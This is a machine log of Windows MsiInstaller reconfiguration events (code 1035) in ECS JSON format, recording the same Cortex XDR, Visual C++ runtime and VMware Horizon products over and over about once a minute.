{"@timestamp":1657389971373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169482}}
{"@timestamp":1657389971405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169483}}
{"@timestamp":1657390030797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169484}}
{"@timestamp":1657390030824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169485}}
{"@timestamp":1657390030875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169486}}
{"@timestamp":1657390030916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169487}}
{"@timestamp":1657390030945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169488}}
{"@timestamp":1657390030975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169489}}
{"@timestamp":1657390031004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169490}}
{"@timestamp":1657390031031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169491}}
{"@timestamp":1657390031067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169492}}
{"@timestamp":1657390031096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169493}}
{"@timestamp":1657390090669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169494}}
{"@timestamp":1657390090694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169495}}
{"@timestamp":1657390090744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169496}}
{"@timestamp":1657390090783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169497}}
{"@timestamp":1657390090814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169498}}
{"@timestamp":1657390090845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169499}}
{"@timestamp":1657390090873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169500}}
{"@timestamp":1657390090900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169501}}
{"@timestamp":1657390090936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169502}}
{"@timestamp":1657390090963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169503}}
{"@timestamp":1657390150907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169504}}
{"@timestamp":1657390150934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169505}}
{"@timestamp":1657390150984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169506}}
{"@timestamp":1657390151025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169507}}
{"@timestamp":1657390151054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169508}}
{"@timestamp":1657390151085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169509}}
{"@timestamp":1657390151112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169510}}
{"@timestamp":1657390151138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169511}}
{"@timestamp":1657390151174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169512}}
{"@timestamp":1657390151202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169513}}
{"@timestamp":1657390210448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169514}}
{"@timestamp":1657390210476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169515}}
{"@timestamp":1657390210528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169516}}
{"@timestamp":1657390210569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169517}}
{"@timestamp":1657390210599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169518}}
{"@timestamp":1657390210630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169519}}
{"@timestamp":1657390210657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169520}}
{"@timestamp":1657390210683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169521}}
{"@timestamp":1657390210719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169522}}
{"@timestamp":1657390210746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169523}}
{"@timestamp":1657390270367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169524}}
{"@timestamp":1657390270393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169525}}
{"@timestamp":1657390270443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169526}}
{"@timestamp":1657390270482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169527}}
{"@timestamp":1657390270509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169528}}
{"@timestamp":1657390270539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169529}}
{"@timestamp":1657390270565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169530}}
{"@timestamp":1657390270592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169531}}
{"@timestamp":1657390270630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169532}}
{"@timestamp":1657390270658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169533}}
{"@timestamp":1657390330589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169534}}
{"@timestamp":1657390330616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169535}}
{"@timestamp":1657390330665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169536}}
{"@timestamp":1657390330705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169537}}
{"@timestamp":1657390330733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169538}}
{"@timestamp":1657390330763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169539}}
{"@timestamp":1657390330791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169540}}
{"@timestamp":1657390330821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169541}}
{"@timestamp":1657390330858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169542}}
{"@timestamp":1657390330885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169543}}
{"@timestamp":1657390390576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169544}}
{"@timestamp":1657390390603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169545}}
{"@timestamp":1657390390655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169546}}
{"@timestamp":1657390390695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169547}}
